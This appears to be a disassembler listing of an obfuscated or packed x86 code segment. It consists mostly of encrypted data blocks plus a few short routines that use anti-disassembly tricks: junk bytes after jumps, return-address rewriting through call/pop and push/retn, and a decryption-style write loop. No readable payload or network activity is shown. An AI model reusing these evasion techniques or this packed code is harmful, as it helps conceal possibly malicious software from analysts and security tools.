		dd 10E9h, 0A7C95800h, 87A51FA5h, 0A839F8BDh, 1BC29CD4h
		dd 81604FCAh, 0F23B21E7h, 8E901h, 0A8980000h, 1777E9CDh
		dd 4E617408h, 0FF60850Fh, 0CE9FFFFh, 6A000000h,	0B807C8C6h
		dd 6B446DA8h, 8D449F67h, 0D6A1F38Dh, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 819D016Ah
		dd 0F05D100h, 682h, 1B58900h, 8905D122h, 0D110218Dh, 0C7D18B05h
		dd 0D11C0985h, 625C05h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0C7361775h, 0D1067985h
		dd 5, 0D9B70F00h, 116DB5FFh, 6E805D1h, 74000000h, 674B728h
		dd 0D9B589D4h, 5F05D125h, 0EDD95FFh, 0BD2905D1h, 5D11155h
		dd 95FF006Ah, 5D12459h,	7EEBC08Bh, 35E52DAAh, 0AFE915F9h
		dd 0E59C6D30h, 2EDC874Eh, 0E8BC068Ch, 0EB093ED9h, 75EAA7F8h
		dd 79DCA871h, 0B92B255Dh, 42C90DDAh, 2C914278h,	0EA0A34F4h
		dd 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh
		dd 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh, 3AC106DBh
		dd 0B908C243h, 11F86549h, 0CE0B5038h, 0EE1CA13Ch, 22C7859Ah
		dd 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0C3AB99B6h, 9E8EEB2h
		dd 0EF000000h, 0C92E63DAh, 2374422Dh, 8D0CBE66h, 5BF55359h
		dd 6909C181h, 0CE810000h, 3FE80614h, 1A1E68h, 0DEB70F00h
		dd 81B58958h, 8B05D126h, 6800F11h, 8B000000h, 0D124919Dh
		dd 0E6EA8105h, 0BE226497h, 45D734CDh, 229F281h,	0B5605513h
		dd 0D281604Ah, 3030819Fh, 6718D89h, 616105D1h, 8490C281h
		dd 806045B8h, 5E93AE3h,	4D000000h, 6C08BFE0h, 0BE665261h
		dd 18F151Eh, 1E919D31h,	0E98305D1h, 6E904h, 77250000h
		dd 261FD003h, 98850F48h, 0F5FFFFFFh, 10E8h, 516A3800h
		dd 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh, 0BE972h, 2E1A0000h
		dd 8B64F9E2h, 0BABB48B3h, 89605E93h, 0D117F585h, 5958905h
		dd 6105D120h, 6D64C681h, 6CB40000h, 1B26B9h, 68E0F00h
		dd 1000000h, 0D108899Dh, 0F168B05h, 0E82h, 9D8B6000h, 5D109E9h
		dd 8D0Fh, 81610000h, 0E64306F2h, 830F47h, 81000000h, 1BEF64F2h
		dd 68A0F53h, 29000000h,	0D116618Dh, 0DEF28105h,	2932163Bh
		dd 0D116F995h, 68F5205h, 0EE9h,	0FEC60800h, 3611CE06h
		dd 0F71ED07Ch, 812C5003h, 0F1276EEEh, 6AC6817Eh, 0F7EF127h
		dd 1287h, 0DE900h, 0D3950000h, 6135DDDEh, 6FA28D72h, 83C1A11Bh
		dd 850F01E9h, 0FFFFFF7Dh, 261ECCBFh, 0DC8D8D2Ah, 6A05D6A4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0B0E2C357h, 8C0F9708h, 0Ah, 55B58960h, 0B105D124h
		dd 870F61F8h, 1Ch, 16830Fh, 11E90000h, 56000000h, 0B583CBADh
		dd 0E20B6479h, 44413BB4h, 523A76CFh, 10218D89h,	0DE905D1h
		dd 31000000h, 1C8F597Dh, 4B48635Ch, 0D89017CFh,	1C0985C7h
		dd 580005D1h, 0DF810000h, 2D9996B4h, 67985C7h, 5D1h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 400D5BC3h, 8CB9A531h, 8B66EEBBh, 6E9F0h, 5ACC0000h
		dd 59251B33h, 14A9B5FFh, 958905D1h, 5D11861h, 0EDD95FFh
		dd 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 8F1F3C3h,	75B8661Eh, 0FF006ADEh, 0D1245995h
		dd 0EBC08B05h, 2D7C897Eh, 0DD4B8657h, 427E4880h, 0D7664C67h
		dd 0C0353A7h, 6DC96EBBh, 0C82265DBh, 0B7AC843h,	2EA59428h
		dd 0FD0AB9FBh, 53557036h, 93E758C9h, 0EA084D78h, 6208B590h
		dd 63AF52F4h, 67E99D6Dh, 0CDD67F7Dh, 67512657h,	0E6481895h
		dd 17BCA309h, 0BB6052F7h, 20453C52h, 0DEC2F1CDh, 0C71EA03Eh
		dd 69D01DF5h, 54E9D842h, 0EDE525Dh, 0CA3D8313h,	38156E4Fh
		dd 71E4B594h, 0E95F1169h, 8D5192D1h, 0D6A60B8Dh, 12E905h
		dd 4D730000h, 0FCE5DA61h, 2A4253D8h, 19FEE3DCh,	629DBC31h
		dd 10218D89h, 18BA05D1h, 0C765B17Ch, 0D11C0985h, 711005h
		dd 0DD853100h, 0C705D124h, 0D1067985h, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 52ABEDAEh, 0F919D0Bh, 0FF5F05D1h, 0D120D9B5h, 5E905h
		dd 0EF700000h, 0FF8E1A76h, 0D10EDD95h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0FD942076h, 9D894650h, 5D12141h, 95FF006Ah, 5D12459h
		dd 2EEBC08Bh, 7A172917h, 0A587DD50h, 6C8F293Fh,	0C53EFD42h
		dd 13710ECCh, 93A62B0Ch, 67D609h, 0F92BE5A3h, 7FF55973h
		dd 3220E41Eh, 62A0122Fh, 8D8DBBDCh, 5D6A710h, 0B45B58Bh
		dd 8D8905D1h, 5D11021h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0F6C35343h, 0DA4DC226h, 8BE10BB9h, 0D12DBD85h
		dd 6880F05h, 8B000000h,	0D1306995h, 0EC12BA05h,	85C74EB3h
		dd 5D11C09h, 633Ch, 7E8h, 9290B100h, 38FFA8DAh,	0FE8h
		dd 1148D900h, 3BC27CA8h, 0E0BF48C7h, 13F5C531h,	2CD19D29h
		dd 5F5F05D1h, 67985C7h,	5D1h, 9D8B0000h, 5D11B89h, 1BA9B5FFh
		dd 6A05D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 7D2298C3h, 19B1ED0Ch, 8B85CE32h, 0DD95FFDAh
		dd 8B05D10Eh, 0D10D7D95h, 3FBB6605h, 0FF006AA3h, 0D1245995h
		dd 0EBC08B05h, 0C4838C5Eh, 6E1BA6E3h, 0B2CFC069h, 0CF7F2C02h
		dd 0E65F68FBh, 0BBF8CFE6h, 37BE68Ah, 0AE3ADAB4h, 14CEB371h
		dd 8A11BA21h, 0A1530D14h, 0BC6E8409h, 895B9030h, 589156D8h
		dd 48550F9Fh, 2418313Dh, 0AEB67220h, 0F2C95D75h, 3FD16C54h
		dd 10A967A5h, 0E159774Bh, 24B9CDF8h, 0DAA768F3h, 0EB86042Bh
		dd 0E8CE204h, 5E5E940h,	0BF3B0000h, 0DA240FA8h,	0F00F6641h
		dd 0A775E59h, 2459B477h, 88D7AE09h, 1790ADD6h, 70ABC03Ch
		dd 6C4FDE25h, 4760FB01h, 38256839h, 0DF66D7DEh,	3F452C08h
		dd 0A9D65D2Ch, 5102D894h, 3855AE8Bh, 0DD6E94FFh, 0BDCE3411h
		dd 112A54B1h, 0F893ED40h, 0A74D76F4h, 43233CBAh, 0E3839CE6h
		dd 0B8D3D2F1h, 9700AB30h, 925EE007h, 0CA30F134h, 0E41F76B1h
		dd 7B5255h, 0EC56474Ah,	0D8AB6CADh, 41200233h, 487E2CACh
		dd 2E3DB9A4h, 2CFB4F46h, 98778EF5h, 6C40FA6Eh, 550310BFh
		dd 0D6846CAEh, 52B97220h, 7E136828h, 33C6F476h,	1355A7CBh
		dd 0DFA28600h, 0AE0FE3F0h, 0D36646Ch, 10365A67h, 94666CAEh
		dd 1C61CC51h, 0B84CC289h, 904650EEh, 0CC550EDCh, 514EDFB2h
		dd 69B7h
		dd 3F45AB00h, 0ABD65D2Ch, 0BEFBE192h, 6CAE849Bh, 69EC3B8Bh
		dd 84EAEBA6h, 3F6D6CAEh, 0A831B04h, 160514Eh, 84000000h
		dd 245F3B45h, 7C700D6Ah, 5A0A38EEh, 6EE81FFh, 0A343DE1Bh
		dd 4C203D46h, 0FF8D5116h, 0C3627698h, 0F8C9A5B4h, 6901B76Eh
		dd 2955C81Fh, 0C768159h, 4D2AC573h, 64F70D20h, 0F586F0BBh
		dd 8EA1DB32h, 4045C72Dh, 42B8412Dh, 8086FA02h, 5E75048Ch
		dd 6CAE1B3Dh, 4CD788DAh, 0A2551932h, 4C494417h,	0CB6CAE1Bh
		dd 124E699h, 5A6BBC0h, 733D42Eh, 1244E358h, 2914D88Eh
		dd 0EEB7BFCEh, 0D4C1CC9Fh, 736CADB6h, 0F007FB21h, 0B7C88B53h
		dd 28EB3A8Ch, 514E85A6h, 9E63h,	0A198700h, 0CE9C50EDh
		dd 58F50E15h, 37EF594h,	85597A49h, 0ACFE6CAEh, 65FCF6FEh
		dd 0C5973FDBh, 4703DE3h, 32ED7F77h, 6C7D0C6Bh, 0CE07B81h
		dd 0A844D721h, 89530C32h, 0BD2258E9h, 0BC5B0B25h, 0CB1AAC57h
		dd 8D5CF10Ah, 0F1C6D7FAh, 13416CADh, 9955E212h,	0E89F10C3h
		dd 635005F2h, 23D56791h, 0C89D3B57h, 62DD609h, 0A18C60FDh
		dd 6829C558h, 0C2CC07DEh, 87514EF4h, 43h, 2D40459Bh, 7AE9B841h
		dd 0DE8C60FDh, 0AE84E6F7h, 9AB7CC6Ch, 0E04B7426h, 8DEC8099h
		dd 0D22BEA3Dh, 45107CBFh, 2551203Bh, 4AC2CD14h,	472DD6E5h
		dd 0AE1E567Ah, 31F4466Ch, 4E71DCF2h, 1D951h, 195D0000h
		dd 855A7B56h, 0AFFD6CAEh, 3F4EA9F4h, 9FB0CA37h,	0D1C67CAh
		dd 1CD8FB61h, 0C30225A5h, 8CA1DAB4h, 0C19FDDDEh, 266D3CCDh
		dd 6CAE8535h, 8DF80D2h,	7F8F7D85h, 0FD04EB72h, 0A7B6C16Ch
		dd 0A64E1CFCh, 5B2E41BBh, 90180588h, 0EDBF727Fh, 708AE132h
		dd 0DD270ADFh, 0CECB9142h, 727F8FCBh, 8B4A9D6Dh, 0AADDDE71h
		dd 784A5B0h, 23DCCFDAh,	98690278h, 0A1D9FAC9h, 2C7E727Fh
		dd 0A265765Dh, 0B0E2727Fh, 278E58Fh, 27D28569h,	0C790FB3Fh
		dd 98BB98BFh, 0DC26DF06h, 6F0F6843h, 744B7CC2h,	163h, 7E742CE8h
		dd 9B0C246Bh, 0D98B727Fh, 0B9D22815h, 52ED177Eh, 0C754A08Fh
		dd 0DA82BD2Fh, 0EB15057Fh, 97A6DD50h, 975F0DDFh, 314C4CAAh
		dd 9F7A6A18h, 1F394661h, 4927EDB7h, 14E2CB9Bh, 3A8C6FD1h
		dd 520C76EBh, 0C2093280h, 9BE14C77h, 9D902780h,	4624C863h
		dd 0DFFA949Dh, 88F24B7Ch, 704659D6h, 31CBF4D4h,	4Eh, 5792C35h
		dd 858C5974h, 0D10B6CAEh, 97D9B8B1h, 0F5F9AF44h, 0AF58ABA8h
		dd 0E17C816Ch, 40D9200Dh, 9255D5ACh, 0BC6BBB2Ch, 7BCD396Ch
		dd 0C8619CA7h, 0D5E4A792h, 0AE7F5227h, 296CAF22h, 0E8A7767Bh
		dd 6CAF22EBh, 94053E6Ch, 0AE45h, 742CEF00h, 0EC246B7Eh
		dd 6B727F98h, 49322839h, 25BBBF44h, 0FCF089F0h,	0DD87B86Eh
		dd 0B6710A70h, 0B8D12C03h, 260D36B4h, 0E6A343DCh, 727F9BF0h
		dd 0EC25C0B6h, 8EF48596h, 0F925FAEh, 1182BD40h,	0E8F9F553h
		dd 93ACCA59h, 6F5609D3h, 78569CDFh, 0DF3A2A78h,	7FDA8AA5h
		dd 9F7A6A05h, 0B019D564h, 17BA1FC6h, 78569D06h,	942DD381h
		dd 1D7BD312h, 0E488A5DEh, 0A2815006h, 0D3A34E57h, 0C07AB219h
		dd 0D7885212h, 13BE4110h, 78571F02h, 0A12CD785h, 7E2DC625h
		dd 100D8053h, 467E2DC6h, 2DC64A4Bh, 3B9FCD7Eh, 9854E916h
		dd 95631CC2h, 2C88E4C7h, 65765D74h, 0E26CAE85h,	0D0FF82B0h
		dd 72852C34h, 0ED81D3h,	6A9061FAh, 7D23F275h, 0F3D04924h
		dd 59FF1846h, 0CA679C91h, 2EF18829h, 84D67263h,	2E43B872h
		dd 5CC7F8AAh, 7E0F6A26h, 2EC6F476h, 9578679Fh, 9ACB873Ah
		dd 6112C05Dh, 5CFC9F9Ah, 0AE6C95B8h, 0B4363E4Fh, 0F303EE86h
		dd 0A64EE11Bh, 7F5E16C4h, 18525C8Bh, 10164CFCh,	2E985006h
		dd 0ABC43EF7h, 6C2E4BA6h, 0A84B7912h, 0E2A17007h, 0B85D84F1h
		dd 0DDD84C96h, 0A898B8C8h, 334EABFAh, 0AFF6A933h, 932A3A55h
		dd 0F0D0CDC0h, 2577B85Ch, 0ABC6337Ah, 0F205EBBh, 0EAEBA667h
		dd 6DB85CF0h, 720B763Fh, 3AEDDD72h, 7AAD3D84h, 8D2E41BBh
		dd 40BC5CA6h, 7069052Bh, 3, 45190B3Ch, 0DB462E3Dh, 7BE68EA1h
		dd 98856900h, 3A27CF5Ch, 65C0ACC1h, 84610D20h, 230EE67Bh
		dd 4CA945D4h, 0B2551932h, 1B4568h, 24248900h, 4B951h, 4C010000h
		dd 68590424h, 54B8h, 56240489h,	0C681E689h, 4, 8704EE83h
		dd 895C2434h, 6851240Ch, 3E587876h, 0FFC18359h,	2F09C181h
		dd 0C889C77Eh, 5A4B6859h, 24890000h, 24048324h,	89525904h
		dd 85189C2h, 8124148Bh,	4C4h, 240C8B00h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	8B5C241Ch, 89502404h, 405E0h, 0C0830000h
		dd 24048704h, 0CEE5E95Ch, 0ED60FFFAh, 42AC56BDh, 47E085BDh
		dd 0B88730A9h, 5D6ACCCh, 0E0FFC503h, 4AD72AC9h,	20B4F90Dh
		dd 36EC7636h, 6D3A5B40h, 58DEF900h, 64187B42h, 4211F649h
		dd 0B72ACD8h, 6512D716h, 44D611AAh, 2BA6D027h, 1A1891DFh
		dd 56C8BFDh, 2E4F6979h,	676ED8DCh, 5C191558h, 1C444100h
		dd 33536Ah, 253FBE89h, 7AAA9DA9h, 45BAA632h, 127DB13Eh
		dd 46909FACh, 13E8h, 33A8100h, 0F1EA4BE5h, 0B6785661h
		dd 0A7E4054h, 20B5389Ch, 11E9h,	67C11D00h, 0A476D105h
		dd 2088AA21h, 0F3AE8CB6h, 0F592FDAh, 184h, 0C181F500h
		dd 5B2Dh, 16A668h, 0F8C08000h, 8BF78B5Fh, 5E911h, 0D64A0000h
		dd 814C91E2h, 6A42EEC2h, 7E928h, 222F0000h, 0C6CF94BAh
		dd 0D5EA819Bh, 66339096h, 0C281DA8Bh, 3C9D6AF2h, 0DE811189h
		dd 741BB621h, 13E6E981h, 66575D46h, 148EC081h, 0E2C1815Bh
		dd 665D4613h, 83F55BBBh, 850F01EFh, 0FFFFFFABh,	12E8F18Bh
		dd 0B000000h, 0CEB65265h, 0B834B2C1h, 7CCEC4Fh,	0FDFA98Ch
		dd 8A0F5A95h, 0Bh, 5820Fh, 81660000h, 811C1CDEh, 5F51C2h
		dd 33DEB700h, 0BF0F60C0h, 0CF8152F0h, 4FD83051h, 0C8B6158h
		dd 0F98B6602h, 6F64C181h, 0FC6035A5h, 5820Fh, 81660000h
		dd 613A82DAh, 0BB5EE981h, 8F0F3242h, 0Ch, 6860Fh, 820F0000h
		dd 0
; ---------------------------------------------------------------------------
		sub	ecx, 0D9949DAh
		jmp	loc_5C4D1E
; ---------------------------------------------------------------------------
		inc	edx
		cmpsd
		push	esp
		retn
; ---------------------------------------------------------------------------
		db 25h
		dd 0EB129031h, 0CBD242EBh, 4EB2637Eh
		db 56h,	7Fh
; ---------------------------------------------------------------------------


loc_5C4D1E:				; CODE XREF: ud2_____:005C4D06j
		mov	[edx+eax], ecx
		jmp	loc_5C4D2D
; ---------------------------------------------------------------------------
		test	[edi+6642F787h], edi
		std


loc_5C4D2D:				; CODE XREF: ud2_____:005C4D21j
		mov	ebx, eax
		sub	eax, 4
		mov	ebx, 0A22DD7Bh
		cmp	eax, 0FFFFA190h
		jnz	loc_5C4D67
		jg	loc_5C4D56
		jmp	loc_5C4D56
; ---------------------------------------------------------------------------
		dw 0F046h
; ---------------------------------------------------------------------------
		div	dword ptr [ebp-4CE5F21Bh]


loc_5C4D56:				; CODE XREF: ud2_____:005C4D43j
					; ud2_____:005C4D49j
		jmp	loc_5C4D78
; ---------------------------------------------------------------------------
		db 16h
		dd 964828CFh, 495B5068h
		db 67h,	1Dh, 1Ah
; ---------------------------------------------------------------------------


loc_5C4D67:				; CODE XREF: ud2_____:005C4D3Dj
		clc
		jmp	near ptr dword_5C467C+652h
; ---------------------------------------------------------------------------
		db 0F0h, 77h, 64h
		dd 0FF3A9579h, 6547C9Ah
; ---------------------------------------------------------------------------


loc_5C4D78:				; CODE XREF: ud2_____:loc_5C4D56j
		lea	ecx, [ebp+5D6B011h]
		push	0
		push	ecx
		call	sub_5C4D89
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D89	proc near		; CODE XREF: ud2_____:005C4D81p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5C4D89	endp

; ---------------------------------------------------------------------------
		db 64h,	34h, 0BAh
; ---------------------------------------------------------------------------
		mov	dh, 66h
		push	ecx
		xor	si, 8210h
		pop	esi
		mov	[ebp+5D11021h],	ecx
		or	[ebp+5D11B0Dh],	ebx
		mov	dword ptr [ebp+5D11C09h], 6ED4h
		mov	edx, [ebp+5D10625h]
		mov	dword ptr [ebp+5D10679h], 0
		mov	[ebp+5D10FF5h],	edx
		mov	esi, 5444CFD4h
		push	dword ptr [ebp+5D106D9h]
		push	0
		push	ecx
		call	sub_5C4DE7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4DE7	proc near		; CODE XREF: ud2_____:005C4DDFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5C4DE7	endp

; ---------------------------------------------------------------------------
		db 7Eh
		dd 0A84729E7h, 8B93AFC2h, 0D106CDB5h, 0DD95FF05h, 6A05D10Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0F208C352h, 36DA089Dh, 187DB589h,	6A05D1h
		dd 245995FFh, 0C08B05D1h, 0CA070CEBh, 25E2E2A1h, 0E81835FAh
		dd 8D8D0825h, 5D6B0D8h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0EFC35545h, 0BEBD45F3h, 60DADAD4h, 0E19D8BB3h
		dd 8905D114h, 0D110218Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 7DBD29E8h
		dd 6605D100h, 0C7EC2BB8h, 0D11C0985h, 65F405h, 759D0300h
		dd 0C705D10Dh, 0D1067985h, 5, 2860F00h,	0B0000000h, 0CDB5FF4Ch
		dd 5105D115h, 2840Fh, 61600000h, 0F18D315Ah, 0FF05D126h
		dd 0D10EDD95h, 0FE905h,	0AA070000h, 0ECF4C7Eh, 27BC53F2h
		dd 0C3EBCA71h, 0FF006A72h, 0D1245995h, 0EBC08B05h, 0C7D5256Bh
		dd 737492F2h, 0C6CA1A6Ah, 13FF8928h, 451F85A2h,	0BDD9F921h
		dd 7DAA246Ah, 0DFD97B44h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h
		dd 0E9A6911Ch, 0F8F8C69Ah, 391E3A2Ah, 66A23A66h, 3790FC5Dh
		dd 7FFB549Fh, 8E65AFC4h, 7B2E251Eh, 886E188Bh, 2CC30D04h
		dd 7369D3AEh, 41E9EF49h, 5200B06Ah, 0F9891A43h,	825E1C31h
		dd 294760EEh, 0B24D8D8Dh, 6A05D6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 2942A0C3h, 0B70F6FD4h
		dd 5860FF3h, 0BA000000h, 28E088FAh, 10218D89h, 6A05D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 297BF4C3h, 985C793h,	0DC05D11Ch, 0E8000060h,	11h, 0CF030496h
		dd 0FEA8D33Fh, 8CC32D70h, 4471D985h, 2D95097Fh,	5B05D124h
		dd 67985C7h, 5D1h, 9D890000h, 5D120E5h,	7E9h, 1BC64F00h
		dd 98945D4Eh, 14A9B5FFh, 6A05D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B4852BC3h, 8E97Ah, 5EF70000h
		dd 6CD62C0Bh, 8529555Bh, 5D12CC9h, 0EDD95FFh, 6A05D1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 1B8A4EC3h, 7E73C832h, 6A6F5Bh, 245995FFh, 0C08B05D1h
		dd 11D07EEBh, 0ADBA1540h, 8FCB49A7h, 22F12DFEh,	1A7ED09Ch
		dd 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 20D8A3C5h,	0EB73A366h
		dd 0BB36B68Ah, 0F179C8D8h, 5D445FD6h, 69B1DD02h, 0AA53E051h
		dd 95BFA3D2h, 177D8FA0h, 2E6BED6Eh, 33D047E1h, 7478B4A9h
		dd 919A601h, 2CB54C2Ch,	0FBE77058h, 7BC5F700h, 91AB57F8h
		dd 2B50985Bh, 0D495FBFAh, 0F452C38Bh, 242D03C2h, 34B14E67h
		dd 7BDC22B1h, 4ACAF671h, 12E8h,	86943300h, 0B94B423Ah
		dd 62CCF9BAh, 308A1550h, 0F19D1BEh, 895FF0B7h, 0D10B65B5h
		dd 5FC78105h, 0E9000063h, 6, 0A537E61Eh, 0CEB8246Fh, 81606979h
		dd 69611DE8h, 8D958960h, 8B05D100h, 0E99D890Fh,	8105D10Eh
		dd 0EA248DF1h, 5DB58B5Eh, 8105D10Fh, 0BD4888C1h, 81F78A1Dh
		dd 7CAC7DF1h, 89D38B4Dh, 880F0Fh, 83000000h, 0D38B04EFh
		dd 0F01E883h, 1785h, 0D68B6600h, 1FE9h,	1483DC00h, 80C20B84h
		dd 0A9D3EE87h, 0FE583A14h, 0FFFFAAE9h, 0CB1376FFh, 9923A279h
		dd 0B95EF55Eh, 0AE8h, 63AD3E00h, 36B7DAEBh, 89C8C40Ah
		dd 0D12439BDh, 0C4BF5805h, 817259EAh, 6F04C0h, 8DBD3100h
		dd 0B905D111h, 57C9C1DDh, 59B9C181h, 8501A836h,	5D11D19h
		dd 0BD89308Bh, 5D12201h, 7B36EE81h, 0C2813A40h,	4A9DBDCEh
		dd 4A51EE81h, 0BD032E3Eh, 5D10DA5h, 9B17EE81h, 66566861h
		dd 9E73DB81h, 0EF80008Fh, 65E88170h, 8B5EE373h,	0D10E999Dh
		dd 61C08105h, 95EE373h,	0D1327995h, 1E98305h, 1A850Fh
		dd 8D890000h, 5D11331h,	20E9h, 9543C300h, 0E2212C4Ch, 2FDC1662h
		dd 9221FC1Ch, 3058D89h,	89E905D1h, 30FFFFFFh, 0BEE45C0Fh
		dd 188D8DBDh, 6A05D6B5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 6221C357h, 0FA9AC53h
		dd 8D89DABFh, 5D11021h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0BEC35141h, 0B8B5C0CFh, 83E58B66h, 1C0985C7h
		dd 729805D1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0E87ECCC3h, 7, 9705A595h, 0E9CC1ED7h
		dd 12h,	1AAA4B25h, 23DA2F8Ah, 575DE391h, 58B09276h, 0C75870F4h
		dd 0D1067985h, 5, 0B18D3100h, 0FF05D109h, 0D115CDB5h, 0CE805h
		dd 854F0000h, 21CCA67Ah, 1F69C782h, 8B5AE019h, 0D125ADB5h
		dd 0DD95FF05h, 8105D10Eh, 0EE26ECCBh, 0B58B6018h, 5D12DA1h
		dd 0A5BD8B52h, 5F05D113h, 0FF006A61h, 0D1245995h, 0EBC08B05h
		dd 0B6536C6Bh, 56EA1E8Dh, 0EFA302F3h, 0C58163E3h, 37B0F705h
		dd 0E35959BFh, 23431125h, 0DD6DA388h, 4C964442h, 3C8997E7h
		dd 9D7BC8CAh, 0BE788E17h, 9F102E9h, 708398B4h, 0DE9D8078h
		dd 0C1C4C9E7h, 6303B8C8h, 14F31061h, 0E985DCF4h, 0BF7CB3FFh
		dd 6DDF1734h, 7C29FA61h, 0FA49E44Dh, 87811541h,	0BE883819h
		dd 0C3A988F9h, 0ED427C28h, 14E8h, 82085500h, 0E4616FE8h
		dd 60F4C86Dh, 5A0EE70Dh, 5471490Dh, 69BD89A5h, 5E05D11Dh
		dd 19799589h, 0C68105D1h, 6667h, 50D233F5h, 23099D8Bh
		dd 8B5F05D1h, 0BD091604h, 5D11321h, 7F15C081h, 85296F70h
		dd 5D1180Dh, 0BBE3E881h, 0F5607E77h, 0A236C381h, 81614B85h
		dd 1F0301E8h, 59D0158h,	8905D122h, 0F601604h, 585h, 0F2816600h
		dd 7BA1D0Bh, 616A5127h,	21E59589h, 0EA8305D1h, 14E904h
		dd 92990000h, 5013D5A9h, 4A4E7E9Ch, 0A087E264h,	0B6910CC1h
		dd 0FA818103h, 0FFFF9A44h, 0FF8D850Fh, 5250FFFFh, 0F71EF81h
		dd 5F59503Ch, 0BE8h, 0A48C3400h, 0EB5D0F17h, 0A84574CCh
		dd 20218D89h, 0E85A05D1h, 0Fh, 4BEF3B6Ah, 0F94005F4h, 0E27BD7EAh
		dd 60E93644h, 0ABDB503h, 616005D1h, 0C2815961h,	68E0h
		dd 13E9h, 139F4C00h, 0AB336A42h, 8ED68EADh, 0D880CDC9h
		dd 408BE317h, 68h, 8E0F5300h, 0Dh, 8E9h, 0ABCE8000h, 0E1B7EB3Eh
		dd 665B592Eh, 3C8BC88Bh, 19E1801Ah, 0CD3DF781h,	150197Eh
		dd 0D113F595h, 0F7815E05h, 38C024F4h, 68D0Fh, 95890000h
		dd 5D10D61h, 0D247C781h, 0F510648h, 5758C7BFh, 8FC0B70Fh
		dd 14E81A04h, 3B000000h, 0C2EA8242h, 1E2E1EE9h,	0E6FDBA45h
		dd 0B96E2B94h, 0E9E866C7h, 9, 981707BDh, 169DC88Ch, 0B5315E65h
		dd 5D12659h, 6603EB83h,	814BCE8Bh, 7A6D8FE0h, 30FB8117h
		dd 0FFFFF98h, 1285h, 23E900h, 0EEF0000h, 27205FD2h, 406FC1D5h
		dd 5178F1C3h, 0E95EDFB1h, 0FFFFFF66h, 0A0EB915Bh, 42EA405h
		dd 588832DBh, 0BE85Ch, 51E70000h, 0C14FC3B6h, 632EDD21h
		dd 319D0122h, 5A05D116h, 1DCDBD29h, 0C28105D1h,	6BC1h
		dd 0BBB7B4h, 29000000h,	0D1001995h, 1A348B05h, 0B59D3160h
		dd 8B05D115h, 0C68161DEh, 73F2A416h, 81FE8B66h,	0D858E3C6h
		dd 0E1BD0943h, 8105D10Ah, 51BAB8C6h, 1A34890Ah,	9E8h, 3C141B00h
		dd 0B4F127h, 5FFCACB6h,	83F88B66h, 852902EBh, 5D110DDh
		dd 8F0F4B4Bh
		dd 5, 0FAE75EB9h, 0CCFB810Eh, 0FFFFF94h, 0FFFFA085h, 818D09FFh
		dd 8205D125h, 889A075h,	0DC781469h, 5D478DA6h, 2E8635F4h
		dd 908635A1h, 480AD925h, 99053025h, 17572F58h, 76023F25h
		dd 7863025h, 939BF998h,	0A5893020h, 90863057h, 6C5FB5E3h
		dd 4CC835F4h, 0A7F4549Dh, 0F1A204A4h, 7B9B0096h, 93994D90h
		dd 8003BD20h, 6F83E479h, 8E76BBF5h, 0F5A2E9A0h,	0E9EE7E20h
		dd 88C6F4CEh, 6FC31421h, 0F7795758h, 24572DECh,	0CC27B5A8h
		dd 987935F1h, 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h
		dd 0B863025h, 0A489F92Eh, 6F79CFD5h, 48863DCCh,	991BBD25h
		dd 0AA83E169h, 9863020h, 390BD3DAh, 475087CEh, 992EBDA8h
		dd 823E35F3h, 63000000h, 826FF1EAh, 889A075h, 0DC781469h
		dd 5D478DA6h, 2E8635F4h, 908635A1h, 480AD925h, 99053025h
		dd 0F305E983h, 22B9A4h,	4EB0000h, 24154EE3h, 8B0E9h, 0D7649C00h
		dd 0EC7FF9D4h, 8495E0CBh, 92AFC823h, 0B4C93219h, 0ABE38873h
		dd 91FC3F52h, 0FED5D665h, 0DA31EA83h, 942C8FA0h, 0CCDDFED5h
		dd 0AD7A66D7h, 84F4E587h, 0C43E6CAEh, 1817A6ABh, 524342DFh
		dd 0F56CAE85h, 0B93BFCA7h, 0B31EE3DFh, 727F9617h, 7B02E2B0h
